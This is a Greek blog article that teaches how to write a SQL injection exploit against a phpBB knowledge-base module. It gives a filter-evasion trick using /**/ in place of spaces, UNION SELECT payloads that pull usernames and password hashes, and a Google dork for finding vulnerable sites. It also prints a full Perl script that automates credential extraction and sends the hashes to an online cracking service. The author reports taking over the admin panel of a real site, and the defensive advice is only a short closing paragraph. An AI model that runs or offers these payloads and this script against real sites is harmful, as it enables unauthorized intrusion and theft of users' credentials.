RSS

Πως οι χάκερς δημιουργούν τα exploits τους;

25 Aug

Σίγουρα οι περισσότεροι από εμάς έχουν δει ταινίες με χάκερς. Ταινίες στις οποίες ο πρωταγωνιστής – χάκερ καθήμενος στην καρέκλα του και περιβαλλόμενος από 3 η και 4 monitors γράφει παθιασμένα στο πληκτρολόγιο ασυνάρτητα πράγματα και προσπαθεί να πάρει πρόσβαση σε απόρρητα αρχεία. Αφού λοιπόν γράψει πολλές γραμμές κωδικά (η κάτι που μοιάζει με κωδικά) και αφού πατήσει απανωτά enter και backspace, καταφέρνει να εισβάλει στο σύστημα που εδώ και τόση ώρα “παλεύει”. Η συνεχεία ως συνήθως..επί της οθόνης …

Μερικοί πιστεύουν ότι ένας πραγματικός χάκερ δεν θα χρησιμοποιούσε πότε μα πότε ένα έτοιμο πρόγραμμα για να εισβάλει σε έναν απομακρυσμένο υπολογιστή. Αυτό βέβαια όπως έχουμε πει πολλές φόρες και στο παρελθόν, δεν είναι απόλυτο. Ένας χακερ θα μπορούσε να γράψει μια αυτοματοποιημένη ρουτίνα την οποία θα εκμεταλλευόταν ώστε να κάνει για αυτόν την χαμαλοδουλειά (ας το πούμε έτσι) του ψαξίματος και να τον απαλλάξει απ’ την περιττή κούραση. Φυσικά το να χρησιμοποιεί κάποιος ένα έτοιμο πρόγραμμα έχει καταντήσει να είναι taboo αφού θεωρείται απ’ την επικριτική πλειοψηφία των “do it manually” ως script kiddie. Και αυτό το λεπτό σημείο είναι είναι που θα πρέπει ΟΛΟΙ μας να κατανοήσουμε.

Δεν δεν υπάρχουν standard πρακτικές, τεχνικές και λογικές που χρησιμοποιούν οι λεγόμενοι χάκερς. Τα πάντα είναι άκρως αποδεκτά αν μέσω αυτόν επιτυγχάνεται ο πρωταρχικός σκοπός της αναζήτηση και της ερευνας που είναι σαφώς η γνώση! Στο παρόν άρθρο θα προσπαθήσουμε να σκιαγραφήσουμε κάποιες τεχνικές που θα χρησιμοποιούσε ένας χάκερ ώστε να πάρει πρόσβαση σε ένα απομακρυνόμενο σύστημα (με δικαιώματα Administrator πάντα), το οποίο είχε βάλει στο μάτι από καιρό.Μην ξεχνάτε ότι αυτό το σύστημα θα μπορούσε να είναι το δικό σας…και εσείς αμέριμνοι να το θαυμάζετε ενώ… ενώ τα βράδια ανενόχλητοι αλωνίζουν οι εισβολείς.

Ας μιλήσουμε για exploits.

Exploit για όσους δεν ξέρουν, είναι ένα κομμάτι εκτελέσιμου κωδικά (μικρής έκτασης συνήθως), ή μια ακολουθία εντολών που εκμεταλλεύονται ένα software bug, (μια δυσλειτουργία ή μια ευπάθεια σε κάποιο υπάρχον λογισμικό) προκειμένου να αναγκάσουν το λογισμικό σε μια μη ομαλή διαδικασία, όπως για παράδειγμα την προβολή των στοιχείων username και password των χρηστών μιας βάσης δεδομένων.

Τα exploits συνήθως ταξινομούνται με βάση τα κριτήρια:

  • Τον τύπος του Vulnerability που εκμεταλλεύονται
  • Τον τόπο που θα εκτελεστούν, δηλαδή αν η εφαρμογή και εκτέλεση γίνει στον ίδιο υπολογιστή (local) η σε κάποιο απομακρυσμένο μηχάνημα (remote).Όταν ένα exploit εφαρμόζεται local, έχει ως αποτέλεσμα την αύξηση των δικαιωμάτων του προσώπου το εκτελεί. Όταν ένα exploit εκτελείται remote, εκμεταλλεύεται τη αδυναμία του απομακρυσμένου συστήματος χωρίς όμως να απαιτείται κάποια προγενέστερη πρόσβαση στο σύστημα.
  • Το αποτέλεσμα του που θα επιφέρει στον εισβολέα η εκτέλεση του exploit (π.χ EoP, DOS, spoofing, Sql injection)

Θα μελετήσουμε τα στάδια της “γένεσης” ενός exploit, απ’ την στιγμή της εύρεσης του bug μέχρι την στιγμή της δημιουργία και την εφαρμογή του εκτελέσιμου κώδικα.

Η διαδικασία :

  • Εύρεση ενός κενού ασφάλειας. Στην περίπτωση που το συγκεκριμένο κενό ασφαλείας δεν γίνει publish στο internt χαρακτηρίζεται ως 0day (zero day).Συνήθως τα 0days εκδίδονται στο internet προτού δημιουργηθεί κάποιο patch για την εξουδετέρωση του κενού ασφαλείας που αυτά εκμεταλλεύονται. Το όνομα αυτό στηρίζεται στο ότι οι υπεύθυνοι ασφαλείας δεν γνωρίζουν καν την ύπαρξη του συγκεκριμένου κενού ασφαλείας μέχρι την έκδοση του exploit.
  • Ανακάλυψη ενός Dork για την εύρεση πολλαπλών ευπαθών σελίδων που έχουν ακριβώς το ίδιο κενό ασφαλείας και η εκμετάλλευση τους είναι η ίδια!
  • Συγγραφή του exploit το οποίο αυτοματοποιημένα θα εκμεταλλεύεται το bug που ανακαλύφθηκε και θα αποδίδει σε ελάχιστο χρόνο τα αποτελέσματα της επίθεσης·.

Για περισσότερες πληροφορίες πάνω στα exploits και στα Vulnerabilities:

Μερικά sites με Βάσεις δεδομένων γεμάτες με Exploits:

Απ’ την θεωρία στην πράξη.
Σε πρώτη φάση θα δούμε πως κάποιος χακερ θα δημιουργούσε ένα exploit με βάση κάποιο γνωστό ήδη BUG.
Για το παράδειγμα μας θα κάνουμε χρήση του bug που βρίσκεται στην  “/kb.php?mode=cat&cat=’” Το συγκεκριμένο κενό ασφαλείας έγκειται στο ότι το php script δεν φιλτράρει τα δεδομένα που του δίνουμε, με αποτέλεσμα να εμφανίζει διάφορα στοιχειά της βάσης τα οποία σαφώς και δεν θα έπρεπε να βλέπει κάποιος επισκέπτης. Αλλά, ας τα πάρουμε τα πράγματα με τη σειρά.

Εύρεση και χρήση του BUG.
Αν εισάγουμε στην url του Browser μας κάτι σαν “http://www.site.gr/kb.php?mode=cat&cat=’” και αν o server στον οποίο απευθυνόμαστε έχει όντως το Bug στο οποίο αναφερόμαστε θα μας απαντήσει :

Could not obtain category data

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 3

SELECT * FROM phpbb_kb_categories WHERE category_id = ‘

Line : 134
File : functions_kb.php

Εικόνα 1
Τα πρώτα σημάδια μια προβληματικής έκδοσης PHPbb είναι εμφανή.Το κατά πόσο όμως θα μας επιτρέπουν κάποια είσοδο στο σύστημα, αποτελεί προς το παρόν ένα γρίφο!

Ξέρουμε εξαρχής απ’ το ήδη γνωστό bug ότι το table με τα username και τα passwords για την συγκεκριμένη έκδοση της PHPbb λέγεται phpbb_users και τα columns είναι τα username, user_passwords. Φυσικά και να μην τα ξέραμε δεν θα μας πείραζε και ιδιαίτερα..αφου απλά θα έπρεπε να κάνουμε Dump τη βάση δεδομένων και να βρούμε πιο table αντιστοιχεί στα username και στα password.

ΠΡΟΣΟΧΗ: Μια τυπική επίθεση στην SQL του site θα μπορούσε να ήταν κάπως έτσι :

http://www.site.gr/kb.php?mode=cat&cat=-99999 union select 0,1,2,3,4,5 from phpbb_users where user_id=2

αλλά, το αποτέλεσμα δυστυχώς για εμάς δεν θα ήταν και τόσο ευχάριστο αφού έκανε την εμφάνιση της η εφαρμογή CBACK CrackerTracker v4:

- SECURITY ALERT  -

The Board Security System has detected, that you wanted to bring bad
Code to this Forum or you have tried to exploit something here or maybe
another attack like this.

This attempt was blocked and we logged all information about this.

If you see this message after including a new MOD to your Forum or if
you have reached this site over a normal Forum Link, please contact
the Board Administrator to fix this Problem.

Εικόνα 2
Ωχ όχι! Μας μπαγλάρωσαν!

Το οτι εμφανιστηκε η εφαρμογη CBACK CrackerTracker v4 σημαίνει ότι είναι ενεργή και μας “μάγκωσε”, οπότε θα πρέπει να αναζητήσουμε άλλο τρόπο για να χωθούμε στην database του συστήματος. Ίσως να ψάχναμε για μια κερκόπορτα.

Αν έχετε την εντύπωση ότι ο Administrator του site μας κόλλησε στον τοίχο, τότε μάλλον δεν έχετε ακούσει το κόλπο με τα “/**/“που χρησιμοποιείτε κυρίως για SQL injection επιθέσεις. Μάλλον ανακαλύψαμε την κερκόπορτα του συστήματος. Για όσους δεν γνωρίζουν, τι ακριβώς “είναι” και “κάνει” η εφαρμογή CBACK CrackerTracker μπορεί να επισκεφτεί τη σελίδα. Το site που μας εμφάνισε ένα security alert στην :

http://www.site.gr/kb.php?mode=cat&cat=-99999 union select 0,1,2,3,4,5 from phpbb_users where user_id=2

Θα αντικαταστήσουμε όπου υπάρχει κενό με “/**/” ώστε, μετά την διαδικασία αυτή, η url θα έχει μετατραπεί σε:

http://www.site.gr/kb.php?mode=cat&cat=-99999/**/union/**/select/**/0,1,2,3,4,5/**/from/**/phpbb_users/**/where/**/user_id=2

Και ναι .. δεν μας εντόπισε το σύστημα ασφαλείας.Βλέπετε το CBACK CrackerTracker δεν καταφέρνει να “καταλάβει” τα “/**/” ως επικίνδυνα ενώ αντίθετα, τα κενά τα εντοπίζει σαν ενδυνάμει επιθέσεις.

Αν αναρωτιέστε πως καταφέραμε να βρούμε τα columns που έχει ενεργά η url, η απάντηση βρίσκεται μπροστά στα μάτια σας.Μπορείτε να εργαστείτε, είτε manually είτε automatically. Και στις δυο περιπτώσεις η διαδικασία είναι η ίδια. Όσο η απόκριση της σελίδας είναι:

SQL Error : 1222 The used SELECT statements have a different number of columns

προσθέτουμε ακόμα ένα column.. μέχρι που βρίσκουμε τον τελικό αριθμό των columns.

Τώρα θα δοκιμάσουμε να εισάγουμε τα δεδομένα “username“, “user_passwords“.

http://www.site.gr/kb.php?mode=cat&cat=-99999/**/union/**/select/**/0,1,2,3,concat(username,0x3a,user_password),5/**/from/**/phpbb_users/**/where/**/user_id=2

Εικόνα 3
Τελικά καταφέραμε, να παρακάμψουμε την εφαρμογη CBACK CrackerTracker v4

Έτσι, με τα περισσής χαράς και ευκολίας ο sever με το σύστημα “εντοπισμού SQL injection” μας έδειξε το username και το password του χρηστη με user_id = 2.

Ανακαλύπτοντας το Dork του exploit.
Για να βρούμε το Dork που ανταποκρίνεται στο συγκεκριμένο κενό ασφαλείας θα πρέπει να έχει “μέσα του” τα βασικά χαρακτηριστικά του Vulnerabale Script της σελίδας. Οπότε βάζουμε το Google να ψάξει στην Url καθε site αν υπάρχει το “kb.php?mode=cat“. Η ολοκληρωμένη μορφή του Dork στη γλώσσα του Google θα είναι “inurl:kb.php?mode=cat

Δημιουργώντας το exploit μας.
Ένας κώδικας που θα εκμεταλλευτεί το bug του “kb.php?mode=cat&cat=” είναι ο ακόλουθος:

#!/usr/bin/perl
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use IO::Socket;

print "\n\n[*] Exploit [kb.php?mode=cat] \n";
print "[*] Written by mr.pr0n\n";
print "[*] Dork: allinurl:kb.php?mode=cat \n";

print "\nEnter Host : ";
chop (my $kb = <STDIN>);
print "User Id Number [>=2]: ";
chop (my $usid  = <STDIN>);
my $xploit = "/kb.php?mode=cat&cat=-99999/**/union/**/select/**/0,database(),2,3,concat(0x746f74616c78616b6572,0x3a,username,0x3a,user_password,0x3a,0x746f74616c78616b6572),5/**/from/**/phpbb_users/**/where/**/user_id=";

####### Xploiting #########
print "[+] Exloiting...\n";
my $lwp = LWP::UserAgent->new() or die;
my $check=$lwp->get($kb.$xploit.$usid);
if ($check->content =~ m/totalxaker:(.*):(.*):totalxaker/g)
{
        ($username ) = $1;
        my ($hash) = $2;
        print "[+] Yeah, its Vulnerable!! \n";
        print " ---> Username: $username\n";
        print "[MD5 Password: $hash]\n";

        ####### Cracking #########
        my $url = "http://hash.insidepro.com/index.php?lang=eng#";
        print "[+] The MD5 password ...";
        my $lwp = LWP::UserAgent->new();
        my $request = $lwp->post($url, ["h1" => $hash, "Onclick" => "Search"]);
        my $insidepro = $request->content();
        if($insidepro =~ m/<\/script>$hash:<font color="blue">(.*)<\/font><br><br>/g)
        {
                print " CRACKED!!!\n";
                print " ---> Password: $1\n";
        }
        else
        {
                print " not found!\n";
        }
}
else
{
        print "[-] Exploit failed!!\n";
        print " ---> Maybe NOT vulnerable!\n";
}
print "-------------------------------\n";

Γραμμές 1-6
Στην πρώτη – πρώτη γραμμή ορίζουμε τον διερμηνέα (interprinter) που δεν είναι άλλος απ το πρόγραμμα #!/usr/bin/perl (..για συστήματα *nix!) Στις επόμενες γραμμές δηλώνουμε τα modules που θα χρησιμοποιήσει το πρόγραμμα μας κατά την εκτέλεση του.Το HTTP::Request::Common για τι αιτήσεις που γίνονται στο πρωτόκολλο http ενώ το LWP::UserAgent εξομοιώνει τη αίτηση browser που κάνει το πρόγραμμα σαν να γινόταν από κανονικό browser.

Γραμμές 7-10
Ακολουθούν μερικά εισαγωγικά στοιχεία, του προγράμματος και του δημιουργού του, καθώς γίνετε και αναφορά στο Dork το οποίο μπορεί να χρησιμοποιήσει ο χρήστης ώστε να εντοπίσει διάφορες σελίδες οι οποίες είναι Vulnerable σε αυτό το Bug οπότε και exploitable απ’ το προγραμματάκι που δημιουργήσαμε και σας παρουσιάζουμε.

Γραμμές 11-16
Στη συνέχεια το πρόγραμμα “ζητάει” απ τον χρήστη να εισάγει ένα site της μορφής http://www.site.gr το οποίο και δηλώνεται στη συνέχεια ως η μεταβλητή “$kb“. Έπειτα ο χρήστης καλείται για άλλη μια φορά (και τελευταία!) να εισάγει ένα δεδομένο στο πρόγραμμα, το οποίο δεν είναι άλλο απ το User_Id του χρήστη που θέλει να ελέγξει. Το User_Id καταχωρείται ως $usid και “κρατάται” στην μνήμη του προγράμματος για την συνέχεια.Ως $xploit καταχωρείται ολόκληρη η γραμμή του exploit

/kb.php?mode=cat&cat=-99999/**/union/**/select/**/0,database(),2,3,concat(0x746f74616c78616b6572,0x3a,username,0x3a,user_password,0x3a,0x746f74616c78616b6572),5/**/from/**/phpbb_users/**/where/**/user_id=

που χρησιμοποιήθηκε νωρίτερα ώστε να εμφανιστούν το username και το pasword (σε hash) του χρηστη με user_id 2.

Γραμμές 17-21
Η επίθεση μόλις ξεκίνησε, αφού δημιουργήσαμε συνθήκες εξομοίωσης μιας πραγματικής σύνδεσης με browser μέσω του προγράμματος, δημιουργείται ολοκληρωμένη η μορφή του exploit η οποία δέχεται τη μεταβλητή $check=$lwp->get($kb.$xploit.$usid).Στη συνέχεια στοιχεία τα οποία εισήχθησαν απ’ το χρήστη μαζί με το exploit καταχωρούνται στο $check με τη μορφή $kb.$xploit.$usid.Το όνομα του site εισάγεται υπό μορφής μεταβλητής $kb και το user_id με το όνομα της μεταβλητής $usid αντίστοιχα. Έπειτα ακολουθούν μερικές “διασταυρώσεις” για το κατά πόσο υπάρχουν τα δεδομένα που έχουν οριστεί ως λέξεις κλειδιά στη γραμμή 21.

Γραμμές 22-28
Αν όλα πάνε κατ’ ευχήν και το site είναι όντως ευπαθές στο συγκεκριμένο bug τότε θα “δημιουργηθούν” 2 νέα δεδομένα τα $username και $hash τα οποία θα πάρουν τα στοιχεία που έχουν βρεθεί στη αναζήτηση της γραμμής 21.Έπειτα στις επόμενες γραμμές ακολουθεί η εγγραφή των δεδομένων στην επιφάνεια εργασίας του προγράμματος.

Γραμμές 29-44
Επειδή “δυστυχώς” για εμάς το password που εμφανίζεται είναι σε μορφή hash, καλό θα ήταν να εισάγουμε έναν ενσωματωμένο Hash Cracker στο πρόγραμμα μας.Θα αναζητήσουμε το hash που βρήκαμε, στο site http://hash.insidepro.com.Για να το κάνουμε αυτό θα πρέπει να εξομοιώσουμε ορισμένες κινήσεις που θα κάναμε στο site, μέσω του προγράμματος.Για να γίνει κάτι τέτοιο θα πρέπει να βρούμε την ακριβή ονομασία των buttons του site καθώς και των text field ώστε να εισάγουμε σωστά, εκεί που πρέπει (και όπως πρέπει) τα δεδομένα.Όταν γίνει κάτι τέτοιο (και αν γίνει σωστά) το πρόγραμμα μας θα αναγκάσει το site να ψάξει για το δοθέν hash στην βάση δεδομένων του και το αποτέλεσμα να εμφανιστεί υπό την μορφή της μεταβλητής $1 σαν αποτέλεσμα του “σπασίματος”

Γραμμές 45-50
Στην περίπτωση που δεν μπορέσει το exploit μας, να βρει username / hash τότε τερματίζεται γράφοντας [-] Exploit failed!!Αν δεν καταφέρει να εντοπίσει το hash στη βάση δεδομένων του hash.insidepro.com τότε απλά γίνετε η εγγραφη “not found!” στην επιφάνεια εργασίας του προγράμματος.

Εκτέλεση του exploit
Αν όλα κυλήσουν ομαλά τότε λογικά κατά την εκτέλεση του exploit, σαν αποτέλεσμα θα πάρετε και εσείς τα παρακάτω.


Εικόνα 4
Το exploit μας, δουλεύει τέλεια.

Μόλις αποκτήσαμε το username και το password του χρηστη με user_id = 2. Αφού έχουμε cracked πλέων το password hash, ας δούμε αν ισχύει ο συγκεκριμένος λογαριασμός. Και αν τελικά αλώθηκε η πόλη ή σπαταλήσαμε το χρόνο μας, το χρόνο σας και αρκετή φαιά ουσία τσάμπα!

Εικόνα 5
ΟΧΙ. Δεν σας γελούν τα ματια σας. Αυτό που βλέπετε είναι όντως ένα Administrator Panel και εμείς/εσείς Administrators. Μην ξεχνάτε τον βασικό κανόνα των Χάκερς, ΔΕΝ ΠΕΙΡΑΖΩ ΤΙΠΟΤΑ που δεν μου ανήκει!!!

Και ναι.. χαίρε κόσμε μέσα απ’ το administrator panel του site.To οποίο site μην ξεχνάμε ότι είχε και προστασία απ’ τις επιθέσεις SQL injection.Τελικά nothing is Unhackable ε?

Κλειδαμπαρώνοντας την Κερκοπορτα.

Καλύτερη και πιο σίγουρη λύση για την αποφυγή δυσάρεστων εισβολών στο σύστημα σας είναι να κάνετε update την υπάρχουσα έκδοση της PHPBB που έχετε ώστε κάτι τέτοιο να απαγορεύσει (προσωρινά) την είσοδο στους αυθάδεις εισβολείς που τόσο πολύ θα θέλαν να εισβάλουν στο σύστημα σας και να πειράξουν τα αρχεία σας!! Φυσικά και ένα update δεν θα πρέπει να σας εφησυχάζει αφού δεν αποτελεί μέτρο καταστολής των επιθέσεων, απλά δίνει περισσότερες πιθανότητες στο σύστημα σας να μείνει αλώβητο από επιθέσεις. Καλά θα ήταν να ψάχνετε στο internet για exploits της έκδοσης που έχετε και να εκτελείτε ελεγχόμενες επιθέσεις στο site σας ώστε να είστε σίγουροι ότι ξέρετε τα πιθανά κενά ασφαλείας που έχει και να τα “προλάβετε” … πριν τα βρουν οι ενδιαφερόμενοι εισβολείς και τοποθετήσουν κάποιο shell μέσα στο site.

Γράφοντας το επίλογο
Κάθε κλειδί έχει και ένα αντικλείδι .. κάθε σύστημα ασφαλείας έχει μια μικρή και ξεχασμένη πίσω πόρτα απ την οποία κάλλιστα οι εισβολείς θα μπορούσαν να τρυπώσουν μέσα και να μεταμορφωθούν στον Administrator του συστήματος. Οι υπεύθυνοι του site στο οποίο έγιναν τα πειράματα μας, σαφώς και δεν ήξεραν για το συγκεκριμένο κενό ασφαλείας, οπότε ελπίζουμε τώρα να το βρούν και να το ασφαλίσουν. Θα θέλαμε στο σημείο αυτό να διαβεβαιώσουμε τους αρμόδιους του site ότι ουδέποτε πειράξαμε κάποιο αρχείο η κάποιο δεδομένο του διαδικτυακού τόπου ο οποίος φιλοξένησε τα πειράματα μας. Κανένας δεν πρέπει να ξεχνάει όμως ότι όλα τα εργαλεία και οι τρόποι διείσδυσης που παρουσιάζουμε στα άρθρα του περιοδικού, δεν θα πρέπει σε καμία μα καμία περίπτωση να χρησιμοποιηθούν με γνώμονα την καταστροφή και την επίδειξη, αλλά την δημιουργία και την γνώση! Κάθε καταστροφική ή φανατική (σε κάθε τομέα) ενέργεια, πέρα του γεγονότος ότι χαρακτηρίζει μέτριους και ανώριμους ανθρώπους (ανεξαρτήτως ηλικίας), μας βρίσκει κάθετα αντίθετους!

 
Leave a comment

Posted by on August 25, 2011 in It's Greek to Me

 

Tags: , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: